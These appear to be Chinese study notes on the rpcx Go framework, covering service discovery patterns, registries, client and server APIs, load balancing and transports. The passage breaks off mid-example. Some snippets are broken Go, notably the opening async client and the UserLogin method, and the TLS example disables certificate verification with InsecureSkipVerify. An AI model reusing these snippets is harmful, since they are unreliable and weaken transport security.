调用远程同步的服务并同步结果。 + +实现一个异步的 Client + +```go + // #1 + d:=client.NewPeer2PeerDiscovery("tcp@"+*addr,"") + + // #2 + xclient:= client.NewXClient("UserLogin",client.Failtry,client.RandomSelect,d,client.DefaultOption) + defer client.Close() + + // #3 + args:=&UserLogin{ + Phone:"12345678909", + Password:"123456" + } + // #4 + reply:=&TokenResponse{} + + // #5 + call:=xclient.Go(context.Background(),"Mul",u,r,nil) + if err!=nil{ + log.Fatalf("Failed to call: %v",err) + } + replyCall:=<- call + if replyCall.Error != nil { + log.Fatalf("failed to call: %v", replyCall.Error) + } else { + log.Printf("%d * %d = %d", args.Phone, args.Password, reply.C) + } +``` + +必须使用 xclient.Go 来替换 xclient.Call, 然后把结果返回到一个 channel 里。可以从 chnanel 里监听调用结果。 + +补充:服务发现的方式有两种,客户端发现和服务端发现。 + +## 服务发现的两种方式 + +### 1.客户端发现: + +客户端负责 **确认可用的服务实例的网络位置**和**请求负载均衡**客户端查询服务注册中心(service registry 它是可用服务实例的数据库)之后利用负载均衡选择可用的服务实例并发出请求。 +**客户端直接请求注册中心** + +[!]("https://872026152-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LAinv8dInYi41sSnmWu%2F-LAinzxGnqu1h1CS4HMv%2F-LAio3JT-MDSprzYLyYP%2F4-2.png?generation=1524425067386073&alt=media") + +关键词: +**服务实例在注册中心启动的时候被注册,实例终止的时候被注册中心移除** +**服务实例和注册中心之间采用心跳机制实时刷新服务实例的信息。** +**为每一种编程语言实现客户端的服务发现逻辑。** +服务实例的网络位置在服务注册中心启动时被注册。当实例终止时,它将从服务注册中心中移除。通常使用心跳机制周期性地刷新服务实例的注册信息. +Netflix OSS 提供了一个很好的客户端发现模式示例。Netflix Eureka 是一个服务注册中心,它提供了一组用于管理服务实例注册和查询可用实例的 REST API。Netflix Ribbon 是一个 IPC 客户端,可与 Eureka 一起使用,用于在可用服务实例之间使请求负载均衡。该模式相对比较简单,除了服务注册中心,没有其他移动部件。此外,由于客户端能发现可用的服务实例,因此可以实现智能的、特定于应用的负载均衡决策,比如使用一致性哈希。该模式的一个重要缺点是它将客户端与服务注册中心耦合在一起。必须为使用的每种编程语言和框架实现客户端服务发现逻辑。 + +### 2. 服务端发现: + +关键词: +**每个主机上运行一个代理,代理是服务端发现的负载均衡器,客户端通过代理使用主机的 IP 地址和分配的端口号来路由请求,然后代理透明的把请求转发到具体的服务实例上面。往往负载均衡器由部署环境提供,否则还是要引入一个组件,进行设置和管理。** +**客户端请求路由,路由请求注册中心** +客户端通过负载均衡器向服务发出请求。负载均衡器查询服务注册中心并将每个请求路由到可用的服务实例。与客户端发现一样,服务实例由服务注册中心注册与销毁。AWS Elastic Load Balancer(ELB)是一个服务端发现路由示例。ELB 通常用于均衡来自互联网的外部流量负载。然而,还可以使用 ELB 来均衡虚拟私有云(VPC)内部的流量负载。客户端通过 ELB 使用其 DNS 名称来发送请求(HTTP 或 TCP)。ELB 均衡一组已注册的 Elastic Compute Cloud(EC2)实例或 EC2 Container Service(ECS)容器之间的流量负载。这里没有单独可见的服务注册中心。相反,EC2 实例与 ECS 容器由 ELB 本身注册。 + +HTTP 服务器和负载均衡器(如 NGINX Plus 和 NGINX)也可以作为服务端发现负载均衡器。例如,此博文描述了使用 Consul Template 动态重新配置 NGINX 反向代理。Consul Template 是一个工具,可以从存储在 Consul 服务注册中心中的配置数据中定期重新生成任意配置文件。每当文件被更改时,它都会运行任意的 shell 命令。在列举的博文描述的示例中,Consul Template 会生成一个 nginx.conf 文件,该文件配置了反向代理,然后通过运行一个命令告知 NGINX 重新加载配置。更复杂的实现可以使用其 HTTP API 或 DNS 动态重新配置 NGINX Plus。 + +某些部署环境(如 Kubernetes 和 Marathon)在群集中的每个主机上运行着一个代理。这些代理扮演着服务端发现负载均衡器角色。为了向服务发出请求,客户端通过代理使用主机的 IP 地址和服务的分配端口来路由请求。之后,代理将请求透明地转发到在集群中某个运行的可用服务实例。 + +服务端发现模式有几个优点与缺点。该模式的一大的优点是其把发现的细节从客户端抽象出来。客户端只需向负载均衡器发出请求。这消除了为服务客户端使用的每种编程语言和框架都实现发现逻辑的必要性。另外,如上所述,一些部署环境免费提供此功能。然而,这种模式存在一些缺点。除非负载均衡器由部署环境提供,否则需要引入这个高可用系统组件,并进行设置和管理。 + +## 服务注册中心 + +关键词: + +**存储了服务实例网络位置的数据库。** + +服务注册中心(service registry)是服务发现的一个关键部分。它是一个包含了服务实例网络位置的数据库。服务注册中心必须是高可用和最新的。虽然客户端可以缓存从服务注册中心获得的网络位置,但该信息最终会过期,客户端将无法发现服务实例。因此,服务注册中心使用了复制协议(replication protocol)来维护一致性的服务器集群组成。 + +**Netflix Eureka 组侧中心的做法是提供用于注册和查询的 REST API** +如之前所述,Netflix Eureka 是一个很好的服务注册中心范例。它提供了一个用于注册和查询服务实例的 REST API。**服务实例使用 POST 请求注册**其网络位置。它必须每隔 30 秒**使用 PUT 请求来刷新**其注册信息。通过使用 HTTP **DELETE 请求或实例注册超时来移除**注册信息。正如所料,客户端可以使用 HTTP **GET 请求来检索**已注册的服务实例。 + +Netflix 通过在每个 Amazon EC2 可用区中运行一个或多个 Eureka 服务器来实现高可用。每个 Eureka 服务器都运行在有一个 弹性 IP 地址的 EC2 实例上。DNS TEXT 记录用于存储 Eureka 集群配置,这是一个从可用区到 Eureka 服务器的网络位置列表的映射。当 Eureka 服务器启动时,它将会查询 DNS 以检索 Eureka 群集配置,查找其对等体,并为其分配一个未使用的弹性 IP 地址。 +Eureka 客户端 — 服务与服务客户端 — 查询 DNS 以发现 Eureka 服务器的网络位置。客户端优先使用相同可用区中的 Eureka 服务器,如果没有可用的,则使用另一个可用区的 Eureka 服务器。 + +其他的服务注册中心: + +**etcd:** +一个用于**共享配置**和服务发现的高可用、**分布式**和一致的**键值存储**。使用了 etcd 的两个著名项目分别为 Kubernetes 和 Cloud Foundry。 + +**Consul:** +一个用于发现和**配置服务**的工具。它**提供了一个 API**,可用于客户端注册与发现服务。Consul 可对服务进行健康检查,以确定服务的可用性。 + +**Apache ZooKeeper** +一个被广泛应用于分布式应用的高性能协调服务。Apache ZooKeeper 最初是 Hadoop 的一个子项目,但现在已经成为一个独立的顶级项目。 +另外,如之前所述,部分系统如 Kubernetes、Marathon 和 AWS,没有明确的服务注册中心。相反,服务注册中心只是基础设施的一个内置部分。 + +## 服务注册的两种方式 + +### 1.自注册 + +当使用自注册模式时,服务实例负责在服务注册中心注册和注销自己。此外,如果有必要,服务实例将通过发送心跳请求来防止其注册信息过期。 + +该方式的一个很好的范例就是 Netflix OSS Eureka 客户端。Eureka 客户端负责处理服务实例注册与注销的所有方面。实现了包括服务发现在内的多种模式的 Spring Cloud 项目可以轻松地使用 Eureka 自动注册服务实例。只需在 Java Configuration 类上应用 @EnableEurekaClient 注解即可。自注册模式有好有坏。一个好处是它相对简单,不需要任何其他系统组件。然而,主要缺点是它将服务实例与服务注册中心耦合。必须为服务使用的每种编程语言和框架都实现注册代码。 + +### 2.第三方注册 + +**服务注册器要么轮询部署环境 或者 订阅事件来跟踪运行的实例集** +当使用第三方注册模式时,服务实例不再负责向服务注册中心注册自己。相反,该工作将由被称为服务注册器(service registrar)的另一系统组件负责。服务注册器通过轮询部署环境或订阅事件来跟踪运行实例集的变更情况。当它检测到一个新的可用服务实例时,它会将该实例注册到服务注册中心。此外,服务注册器可以注销终止的服务实例。 + +开源的 Registrator 项目是一个很好的服务注册器示例。它可以自动注册和注销作为 Docker 容器部署的服务实例。注册器支持多种服务注册中心,包括 etcd 和 Consul。 +另一个服务注册器例子是 NetflixOSS Prana。其主要用于非 JVM 语言编写的服务,它是一个与服务实例并行运行的附加应用。Prana 使用了 Netflix Eureka 来注册和注销服务实例。 + +服务注册器在部分部署环境中是一个内置组件。Autoscaling Group 创建的 EC2 实例可以自动注册到 ELB。Kubernetes 服务能够自动注册并提供发现。第三方注册模式同样有好有坏。一个主要的好处是服务与服务注册中心之间解耦。不需要为开发人员使用的每种编程语言和框架都实现服务注册逻辑。相反,仅需要在专用服务中以集中的方式处理服务实例注册。 + +该模式的一个缺点是,除非部署环境内置,否则同样需要引入这样一个高可用的系统组件,并进行设置和管理。 + +总结: +在微服务应用中,运行的服务实例集会动态变更。实例有动态分配的网络位置。因此,为了让客户端向服务发出请求,它必须使用服务发现机制。 +服务发现的关键部分是服务注册中心。服务注册中心是一个可用服务实例的数据库。服务注册中心提供了管理 API 和查询 API 的功能。服务实例通过使用管理 API 从服务注册中心注册或者注销。系统组件使用查询 API 来发现可用的服务实例。 + +有两种主要的服务发现模式:客户端发现与服务端发现。在使用了客户端服务发现的系统中,客户端查询服务注册中心,选择一个可用实例并发出请求。在使用了服务端发现的系统中,客户端通过路由进行请求,路由将查询服务注册中心,并将请求转发到可用实例。 + +# Part2 + +## rpcx Service + +作为服务提供者,首先需要定义服务。 当前 rpcx 仅支持 可导出的 methods (方法) 作为服务的函数。 (see 可导出) 并且这个可导出的方法必须满足以下的要求: + +必须是可导出类型的方法 + +- 接受 3 个参数,第一个是 context.Context 类型 +- 其他 2 个都是可导出(或内置)的类型。 +- 第 3 个参数是一个指针 +- 有一个 error 类型的返回值 + +```go +type UserLogin int + +// 传如请求的指针和响应的指针当然还有上下文 +func (t *UserLogin) Mul(ctx context.Context, args *LoginRequest, reply *TokenResponse) error { + + user, err := AttemptLoginByPhone(args.A ,args.B) + if err != nil { + // 失败,显示错误提示 + reply.Error="Password and Phone wrong" + return err + } else { + // 登录成功 + reply.Tokentoken := jwt.NewJWT().IssueToken(user.GetStringID(), user.Name) + return nil + } +} +``` + +可以使用 RegisterName 来注册 rcvr 的方法,这里这个服务的名字叫做 name。 如果使用 Register, 生成的服务的名字就是 rcvr 的类型名。 可以在注册中心添加一些元数据供客户端或者服务管理者使用。例如 weight、geolocation、metrics。 + +```go +func (s *Server) Register(rcvr interface{}, metadata string) error +func (s *Server) Register(rcvr interface{}, metadata string) error +``` + +这里是一个实现了 Mul 方法的例子: + +```go +import "context" + +type Args struct { + A int + B int +} + +type Reply struct { + C int +} + +type Arith int + +func (t *Arith) Mul(ctx context.Context, args *Args, reply *Reply) error { + reply.C = args.A * args.B + return nil +} +``` + +在这个例子中,可以定义 Arith 为 struct{} 类型, 它不会影响到这个服务。 也可以定义 args 为 Args, 也不会产生影响。 + +## rpcx Server + +关键词: +**写完服务后暴露服务请求,需要启动一个 TCP 或者 UDP 服务器来监听请求** +在定义完服务后,会想将它暴露出去来使用。应该通过启动一个 TCP 或 UDP 服务器来监听请求。 + +服务器支持以如下这些方式启动,监听请求和关闭: + +```go + func NewServer(options ...OptionFn) *Server + func (s *Server) Close() error + func (s *Server) RegisterOnShutdown(f func()) + func (s *Server) Serve(network, address string) (err error) + func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) +``` + +首先应使用 NewServer 来创建一个服务器实例。 +其次可以调用 Serve 或者 ServeHTTP 来监听请求。ServeHTTP 将服务通过 HTTP 暴露出去。Serve 通过 TCP 或 UDP 协议与客户端通信 + +服务器包含一些字段(有一些是不可导出的): + +```go +type Server struct { + Plugins PluginContainer + // AuthFunc 可以用来鉴权 + AuthFunc func(ctx context.Context, req *protocol.Message, token string) error + // 包含过滤后或者不可导出的字段 +} +``` + +Plugins 包含了服务器上所有的插件。我们会在之后的章节介绍它。 + +AuthFunc 是一个可以检查客户端是否被授权了的鉴权函数。我们也会在之后的章节介绍它 +rpcx 提供了 3 个 OptionFn 来设置启动选项: + +```go + func WithReadTimeout(readTimeout time.Duration) OptionFn + func WithTLSConfig(cfg *tls.Config) OptionFn + func WithWriteTimeout(writeTimeout time.Duration) OptionFn +``` + +rpcx 支持如下的网络类型: + +tcp: 推荐使用 +http: 通过劫持 http 连接实现 +unix: unix domain sockets +reuseport: 要求 SO_REUSEPORT socket 选项, 仅支持 Linux kernel 3.9+ +quic: support quic protocol +kcp: sopport kcp protocol + +一个服务器的示例代码: + +```go +package main + +import ( + "flag" + + example "github.com/rpcx-ecosystem/rpcx-examples3" + "github.com/smallnest/rpcx/server" +) + +var ( + addr = flag.String("addr", "localhost:8972", "server address") +) + +func main() { + flag.Parse() + + s := server.NewServer() + //s.RegisterName("Arith", new(example.Arith), "") + s.Register(new(example.Arith), "") + s.Serve("tcp", *addr) +} +``` + +## rpcx Client + +客户端使用和服务同样的通信协议来发送请求和获取响应。 + +```go +type Client struct { + Conn net.Conn + + Plugins PluginContainer + // 包含过滤后的或者不可导出的字段 +} +``` + +Conn 代表客户端与服务器之前的连接。 Plugins 包含了客户端启用的插件。 +有这些方法 + +```go + func (client *Client) Call(ctx context.Context, servicePath, serviceMethod string, args interface{}, reply interface{}) error + func (client *Client) Close() error + func (c *Client) Connect(network, address string) error + func (client *Client) Go(ctx context.Context, servicePath, serviceMethod string, args interface{}, reply interface{}, done chan *Call) *Call + func (client *Client) IsClosing() bool + func (client *Client) IsShutdown() bool +``` + +Call 代表对服务同步调用。客户端在收到响应或错误前一直是阻塞的。 然而 Go 是异步调用。它返回一个指向 Call 的指针, 可以检查 \*Call 的值来获取返回的结果或错误。 +Close 会关闭所有与服务的连接。他会立刻关闭连接,不会等待未完成的请求结束。 +IsClosing 表示客户端是关闭着的并且不会接受新的调用。 IsShutdown 表示客户端不会接受服务返回的响应。 + +> Client uses the default CircuitBreaker (circuit.NewRateBreaker(0.95, 100)) to handle errors. This is a poplular rpc error handling style. When the error rate hits the threshold, this service is marked unavailable in 10 second window. You can implement your customzied CircuitBreaker. + +Client 使用默认的 CircuitBreaker (circuit.NewRateBreaker(0.95, 100)) 来处理错误。这是 rpc 处理错误的普遍做法。当出错率达到阈值, 这个服务就会在接下来的 10 秒内被标记为不可用。也可以实现自己的 CircuitBreaker。 +下面是客户端的例子: + +```go + client := &Client{ + option: DefaultOption, + } + + err := client.Connect("tcp", addr) + if err != nil { + t.Fatalf("failed to connect: %v", err) + } + defer client.Close() + + args := &Args{ + A: 10, + B: 20, + } + + reply := &Reply{} + err = client.Call(context.Background(), "Arith", "Mul", args, reply) + if err != nil { + t.Fatalf("failed to call: %v", err) + } + + if reply.C != 200 { + t.Fatalf("expect 200 but got %d", reply.C) + } +``` + +## rpcx XClient + +XClient 是对客户端的封装,增加了一些服务发现和服务治理的特性。 + +```go +type XClient interface { + SetPlugins(plugins PluginContainer) + ConfigGeoSelector(latitude, longitude float64) + Auth(auth string) + + Go(ctx context.Context, serviceMethod string, args interface{}, reply interface{}, done chan *Call) (*Call, error) + Call(ctx context.Context, serviceMethod string, args interface{}, reply interface{}) error + Broadcast(ctx context.Context, serviceMethod string, args interface{}, reply interface{}) error + Fork(ctx context.Context, serviceMethod string, args interface{}, reply interface{}) error + Close() error +} +``` + +SetPlugins 方法可以用来设置 Plugin 容器, Auth 可以用来设置鉴权 token。 +ConfigGeoSelector 是一个可以通过地址位置选择器来设置客户端的经纬度的特别方法。 +一个 XCLinet 只对一个服务负责,它可以通过 serviceMethod 参数来调用这个服务的所有方法。如果想调用多个服务,必须为每个服务创建一个 XClient。 +一个应用中,一个服务只需要一个共享的 XClient。它可以被通过 goroutine 共享,并且是协程安全的。 +Go 代表异步调用, Call 代表同步调用。 +XClient 对于一个服务节点使用单一的连接,并且它会缓存这个连接直到失效或异常。 + +## rpcx 服务发现 + +rpcx 支持许多服务发现机制,也可以实现自己的服务发现。 + +- Peer to Peer: 客户端直连每个服务节点。 +- Peer to Multiple: 客户端可以连接多个服务。服务可以被编程式配置。 +- Zookeeper: 通过 zookeeper 寻找服务。 +- Etcd: 通过 etcd 寻找服务。 +- Consul: 通过 consul 寻找服务。 +- mDNS: 通过 mDNS 寻找服务(支持本地服务发现)。 +- In process: 在同一进程寻找服务。客户端通过进程调用服务,不走 TCP 或 UDP,方便调试使用。 + +下面是一个同步的 rpcx 例子 + +```go +package main + +import ( + "context" + "flag" + "log" + + example "github.com/rpcx-ecosystem/rpcx-examples3" + "github.com/smallnest/rpcx/client" +) + +var ( + addr = flag.String("addr", "localhost:8972", "server address") +) + +func main() { + flag.Parse() + + d := client.NewPeer2PeerDiscovery("tcp@"+*addr, "") + xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, client.DefaultOption) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Fatalf("failed to call: %v", err) + } + + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + +} +``` + +## rpcx Client 的服务治理 (失败模式与负载均衡) + +在一个大规模的 rpc 系统中,有许多服务节点提供同一个服务。客户端如何选择最合适的节点来调用呢?如果调用失败,客户端应该选择另一个节点或者立即返回错误?这里就有了故障模式和负载均衡的问题。 +rpcx 支持 故障模式: + +- Failfast:如果调用失败,立即返回错误 +- Failover:选择其他节点,直到达到最大重试次数 +- Failtry:选择相同节点并重试,直到达到最大重试次数 + +对于负载均衡(对应前面讲的:服务端发现模式和客户端发现模式下,如果是客户端发现模式那么需要给客户端传递一个负载均衡器,如果是服务端发现模式,那么代理就是的负载均衡器),rpcx 提供了许多选择器: + +- Random: 随机选择节点 +- Roundrobin: 使用 roundrobin 算法选择节点 +- Consistent hashing: 如果服务路径、方法和参数一致,就选择同一个节点。使用了非常快的 jump consistent hash 算法。 +- Weighted: 根据元数据里配置好的权重(weight=xxx)来选择节点。类似于 nginx 里的实现(smooth weighted algorithm) + Network quality: 根据 ping 的结果来选择节点。网络质量越好,该节点被选择的几率越大。 +- Geography: 如果有多个数据中心,客户端趋向于连接同一个数据机房的节点。 +- Customized Selector: 如果以上的选择器都不适合,可以自己定制选择器。例如一个 rpcx 用户写过它自己的选择器,他有 2 个数据中心,但是这些数据中心彼此有限制,不能使用 Network quality 来检测连接质量。 + +```go + xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, client.NewPeer2PeerDiscovery("tcp@"+*addr2, ""), client.DefaultOption) +``` + +注意看这里:一个客户端需要了 + +- 一个提供服务发现的对象**client.NewPeer2PeerDiscovery("tcp@"+\*addr2, "")** +- 一个负均衡器的对象 **client.RandomSelect** +- 一个支持发生故障后的对象 **client.Failtry** + 再再再总结亿遍: + 需要“服务发现的方式“的对象 ,“负载均衡选择器”的对象,“故障处理“的对象 + +完整的例子: + +```go +package main + +import ( + "context" + "flag" + "log" + + example "github.com/rpcx-ecosystem/rpcx-examples3" + "github.com/smallnest/rpcx/client" +) + +var ( + addr2 = flag.String("addr", "localhost:8972", "server address") +) + +func main() { + flag.Parse() + + d := client.NewPeer2PeerDiscovery("tcp@"+*addr2, "") + xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, client.DefaultOption) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + reply := &example.Reply{} + call, err := xclient.Go(context.Background(), "Mul", args, reply, nil) + if err != nil { + log.Fatalf("failed to call: %v", err) + } + + replyCall := <-call.Done + if replyCall.Error != nil { + log.Fatalf("failed to call: %v", replyCall.Error) + } else { + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + } +} +``` + +## rpcx Client 的广播与群发 + +XClient 接口下的方法 + +```go + Broadcast(ctx context.Context, serviceMethod string, args interface{}, reply interface{}) error + Fork(ctx context.Context, serviceMethod string, args interface{}, reply interface{}) error +``` + +Broadcast 表示向所有服务器发送请求,只有所有服务器正确返回时才会成功。此时 FailMode 和 SelectMode 的设置是无效的。请设置超时来避免阻塞。 +Fork 表示向所有服务器发送请求,只要任意一台服务器正确返回就成功。此时 FailMode 和 SelectMode 的设置是无效的。 +可以使用 NewXClient 来获取一个 XClient 实例。 + +```go +func NewXClient(servicePath string, failMode FailMode, selectMode SelectMode, discovery ServiceDiscovery, option Option) XClient +``` + +NewXClient 必须使用服务名称作为第一个参数, 然后是 failmode、 selector、 discovery 等其他选项。 + +# Part3 Transport + +> rpcx 的 Transport + +rpcx 可以通过 TCP、HTTP、UnixDomain、QUIC 和 KCP 通信。也可以使用 http 客户端通过网关或者 http 调用来访问 rpcx 服务。 + +### TCP + +这是最常用的通信方式。高性能易上手。可以使用 TLS 加密 TCP 流量。 +服务端使用 tcp 做为网络名并且**在注册中心注册了名为 serviceName/tcp@ipaddress:port 的服务**。 + +```go +s.Serve("tcp", *addr) + // 点对点采用Tcp通信 + d := client.NewPeer2PeerDiscovery("tcp@"+*addr, "") + xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, client.DefaultOption) + defer xclient.Close() +``` + +### HTTP Connect + +**如果想要使用 HttpConnect 方法,那么应该使用网关** +可以发送 HTTP CONNECT 方法给 rpcx 服务器。 Rpcx 服务器会劫持这个连接然后将它作为 TCP 连接来使用。 需要注意,客户端和服务端并不使用 http 请求/响应模型来通信,他们仍然使用二进制协议。 + +网络名称是 http, 它注册的格式是 serviceName/http@ipaddress:port。 + +HTTP Connect 并不被推荐。 TCP 是第一选择。 + +**如果想使用 http 请求/响应 模型来访问服务,应该使用网关或者 http_invoke。** + +### Unixdomain + +```go +package main + +import ( + "context" + "flag" + "log" + + example "github.com/rpcxio/rpcx-examples" + "github.com/smallnest/rpcx/client" +) + +var ( + addr = flag.String("addr", "/tmp/rpcx.socket", "server address") +) + +func main() { + flag.Parse() + // 点对点采用Unixdomain通信 + d, _ := client.NewPeer2PeerDiscovery("unix@"+*addr, "") + xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, client.DefaultOption) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Fatalf("failed to call: %v", err) + } + + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + +} +``` + +### QUIC + +```go +//go run -tags quic client.go +package main + +import ( + "context" + "crypto/tls" + "crypto/x509" + "flag" + "fmt" + "io/ioutil" + "log" + "time" + + "github.com/smallnest/rpcx/client" +) + +var ( + addr = flag.String("addr", "127.0.0.1:8972", "server address") +) + +type Args struct { + A int + B int +} + +type Reply struct { + C int +} + +func main() { + flag.Parse() + + // CA + caCertPEM, err := ioutil.ReadFile("../ca.pem") + if err != nil { + panic(err) + } + + roots := x509.NewCertPool() + ok := roots.AppendCertsFromPEM(caCertPEM) + if !ok { + panic("failed to parse root certificate") + } + + conf := &tls.Config{ + // InsecureSkipVerify: true, + RootCAs: roots, + } + + option := client.DefaultOption + option.TLSConfig = conf + + d, _ := client.NewPeer2PeerDiscovery("quic@"+*addr, "") + xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, option) + defer xclient.Close() + + args := &Args{ + A: 10, + B: 20, + } + + start := time.Now() + for i := 0; i < 100000; i++ { + reply := &Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Fatalf("failed to call: %v", err) + } + + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + } + t := time.Since(start).Nanoseconds() / int64(time.Millisecond) + + fmt.Printf("tps: %d calls/s\n", 100000*1000/int(t)) +} + +``` + +其余的 ca.key 和 ca.pem 以及 ca.srl 文件暂且省略 + +### KCP + +KCP 是一个快速并且可靠的 ARQ 协议。 + +网络名称是 kcp。 + +当使用 kcp 的时候,必须设置 Timeout,利用 timeout 保持连接的检测。因为 kcp-go 本身不提供 keepalive/heartbeat 的功能,当服务器宕机重启的时候,原有的连接没有任何异常,只会 hang 住,我们只能依靠 Timeout 避免 hang 住。 + +```go +//go run -tags kcp client.go +package main + +import ( + "context" + "crypto/sha1" + "flag" + "fmt" + "log" + "net" + "time" + + example "github.com/rpcxio/rpcx-examples" + "github.com/smallnest/rpcx/client" + kcp "github.com/xtaci/kcp-go" + "golang.org/x/crypto/pbkdf2" +) + +var ( + addr = flag.String("addr", "localhost:8972", "server address") +) + +const cryptKey = "rpcx-key" +const cryptSalt = "rpcx-salt" + +func main() { + flag.Parse() + + pass := pbkdf2.Key([]byte(cryptKey), []byte(cryptSalt), 4096, 32, sha1.New) + bc, _ := kcp.NewAESBlockCrypt(pass) + option := client.DefaultOption + option.Block = bc + + d, _ := client.NewPeer2PeerDiscovery("kcp@"+*addr, "") + xclient := client.NewXClient("Arith", client.Failtry, client.RoundRobin, d, option) + defer xclient.Close() + + // plugin + cs := &ConfigUDPSession{} + pc := client.NewPluginContainer() + pc.Add(cs) + xclient.SetPlugins(pc) + + args := &example.Args{ + A: 10, + B: 20, + } + + start := time.Now() + for i := 0; i < 10000; i++ { + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Fatalf("failed to call: %v", err) + } + //log.Printf("%d * %d = %d", args.A, args.B, reply.C) + } + dur := time.Since(start) + qps := 10000 * 1000 / int(dur/time.Millisecond) + fmt.Printf("qps: %d call/s", qps) +} + +type ConfigUDPSession struct{} + +func (p *ConfigUDPSession) ConnCreated(conn net.Conn) (net.Conn, error) { + session, ok := conn.(*kcp.UDPSession) + if !ok { + return conn, nil + } + + session.SetACKNoDelay(true) + session.SetStreamMode(true) + return conn, nil +} +``` + +### reuseport + +网络名称是 reuseport。 + +它使用 tcp 协议并且在 linux/uxix 服务器上开启 SO_REUSEPORT socket 选项。 + +```go +//go run -tags reuseport client.go + +package main + +import ( + "context" + "flag" + "log" + "time" + + example "github.com/rpcxio/rpcx-examples" + "github.com/smallnest/rpcx/client" +) + +var ( + addr = flag.String("addr", "localhost:8972", "server address") +) + +func main() { + flag.Parse() + + d, _ := client.NewPeer2PeerDiscovery("tcp@"+*addr, "") + + option := client.DefaultOption + + xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, option) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + for { + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Fatalf("failed to call: %v", err) + } + + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + + time.Sleep(time.Second) + } + +} +``` + +### TLS + +```go +package main + +import ( + "context" + "crypto/tls" + "flag" + "log" + + example "github.com/rpcxio/rpcx-examples" + "github.com/smallnest/rpcx/client" +) + +var ( + addr = flag.String("addr", "localhost:8972", "server address") +) + +func main() { + flag.Parse() + + d, _ := client.NewPeer2PeerDiscovery("tcp@"+*addr, "") + + option := client.DefaultOption + + conf := &tls.Config{ + InsecureSkipVerify: true, + } + + option.TLSConfig = conf + + xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, option) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Fatalf("failed to call: %v", err) + } + + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + +} +``` + +# Part 4 注册中心 (rpcx 是典型的两种服务发现模式下的--服务端发现) + +> 注册中心 和 服务端 耦合 + +(如果是采用点对点的方式实际上是没有注册中心的 ,客户端直接得到唯一的服务器的地址,连接服务。在系统扩展时,可以进行一些更改,服务器不需要进行更多的配置 客户端使用 Peer2PeerDiscovery 来设置该服务的网络和地址。而且由于只有有一个节点,因此选择器是不可用的。`d := client.NewPeer2PeerDiscovery("tcp@"+*addr, "")` `xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, client.DefaultOption)`)服务端可以采用自注册和第三方注册的方式进行注册。 + +rpcx 会自动将服务的信息比如服务名,监听地址,监听协议,权重等注册到注册中心,同时还会定时的将服务的吞吐率更新到注册中心。如果服务意外中断或者宕机,注册中心能够监测到这个事件,它会通知客户端这个服务目前不可用,在服务调用的时候不要再选择这个服务器。 + +客户端初始化的时候会从注册中心得到服务器的列表,然后根据不同的路由选择选择合适的服务器进行服务调用。 同时注册中心还会通知客户端某个服务暂时不可用 +通常客户端会选择一个服务器进行调用。 + +## Peer2Peer + +- Peer to Peer: 客户端直连每个服务节点。(实际上没有注册中心) + +```go + d := client.NewPeer2PeerDiscovery("tcp@"+*addr, "") + xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, client.DefaultOption) + defer xclient.Close() +``` + +注意:rpcx 使用 network @ Host: port 格式表示一项服务。在 network 可以 tcp , http ,unix ,quic 或 kcp。该 Host 可以所主机名或 IP 地址。NewXClient 必须使用服务名称作为第一个参数,然后使用 failmode selector,discovery 和其他选项。 + +## MultipleServers + +- Peer to Multiple: 客户端可以连接多个服务。服务可以被编程式配置。(实际上也没有注册中心,那么具体是怎么做的? + 假设我们有固定的几台服务器提供相同的服务,我们可以采用这种方式。如果有多个服务但没有注册中心.可以用编码的方式在客户端中配置服务的地址。 服务器不需要进行更多的配置。) + +```go + d := client.NewMultipleServersDiscovery([]*client.KVPair{ + {Key: *addr1}, + {Key: *addr2}, + }) + xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, client.DefaultOption) + defer xclient.Close() +``` + +上面的方式只能访问一台服务器,假设我们有固定的几台服务器提供相同的服务,我们可以采用这种方式。如果有多个服务但没有注册中心.可以用编码的方式在客户端中配置服务的地址。 服务器不需要进行更多的配置。客户端使用 MultipleServersDiscovery 并仅设置该服务的网络和地址。必须在 MultipleServersDiscovery 中设置服务信息和元数据。如果添加或删除了某些服务,可以调用 MultipleServersDiscovery.Update 来动态 + +```go +func (d *MultipleServersDiscovery) Update(pairs []*KVPair) +``` + +## Zookeeper + +- Zookeeper: 通过 zookeeper 寻找服务。 + +```go +package main + +import ( + "context" + "flag" + "log" + "time" + + example "github.com/rpcxio/rpcx-examples" + cclient "github.com/rpcxio/rpcx-zookeeper/client" + "github.com/smallnest/rpcx/client" +) + +var ( + zkAddr = flag.String("zkAddr", "localhost:2181", "zookeeper address") + basePath = flag.String("base", "/rpcx_test", "prefix path") +) + +func main() { + flag.Parse() + // 更改服务发现为--客户端发现之--从Zookeeper 发现 + d, _ := 